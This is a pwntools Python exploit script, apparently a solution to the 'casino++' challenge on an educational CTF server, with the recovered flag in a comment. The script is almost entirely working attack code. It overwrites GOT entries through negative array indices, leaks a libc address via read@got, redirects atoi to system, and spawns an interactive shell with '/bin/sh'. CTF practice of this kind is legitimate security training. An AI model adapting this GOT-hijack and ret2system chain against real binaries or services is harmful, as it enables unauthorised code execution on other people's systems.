#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

'''
    Note:
        printf(read@got) -> puts(read@got)
        num of srand(seed) fixed

    FLAG{Y0u_pwned_me_ag4in!_Pwn1ng_n3ver_d1e}
'''


#r = process('./casino++')
r = remote('edu-ctf.csie.org',10176)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so')

payload = 'a'*16 + p64(0x602038) # read@got for srand to leak libc 
name = 0x6020F0

r.recvuntil('name: ')
r.send(payload)

r.recvuntil('age: ')
r.sendline('21')

def guess():
    r.recvuntil('0: ')
    r.sendline('0')
    r.recvuntil('1: ')
    r.sendline('0')
    r.recvuntil('2: ')
    r.sendline('0')
    r.recvuntil('3: ')
    r.sendline('0')
    r.recvuntil('4: ')
    r.sendline('0')
    r.recvuntil('5: ')
    r.sendline('0')

def ans():
    r.recvuntil('0: ')
    r.sendline('98') 
    r.recvuntil('1: ')
    r.sendline('85') 
    r.recvuntil('2: ')
    r.sendline('17') 
    r.recvuntil('3: ')
    r.sendline('50') 
    r.recvuntil('4: ')
    r.sendline('96') 
    r.recvuntil('5: ')
    r.sendline('32')

def hijack(i,s):
    r.recvuntil(': ')
    r.sendline('1')
    r.recvuntil(': ')
    r.sendline(i)
    r.recvuntil(': ')
    r.sendline(str(int(s)))

guess()
hijack('-43',0x40095d) # hijack low puts@got -> casino low 4bytes
ans()
hijack('-42',0) # hijack high put_@got -> casino high 4 bytes 

guess()
hijack('-35',0x4006e6) # hijack srand to -> put@plt+6 (dl_reslove again)
ans()
hijack('-34',0)

libc_base = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00')) - libc.symbols['read']
print hex(libc_base)
system_addr = libc_base + libc.symbols['system']
print hex(system_addr)
system_addr = int('0x' + str(hex(system_addr))[6:],16)


guess()
r.recvuntil(': ')
r.sendline('1')
r.recvuntil(': ')
r.sendline('-29') # atoi
r.recvuntil(': ')
r.sendline(str(system_addr))

r.recvuntil('0: ')
r.sendline('/bin/sh\x00')

r.interactive()
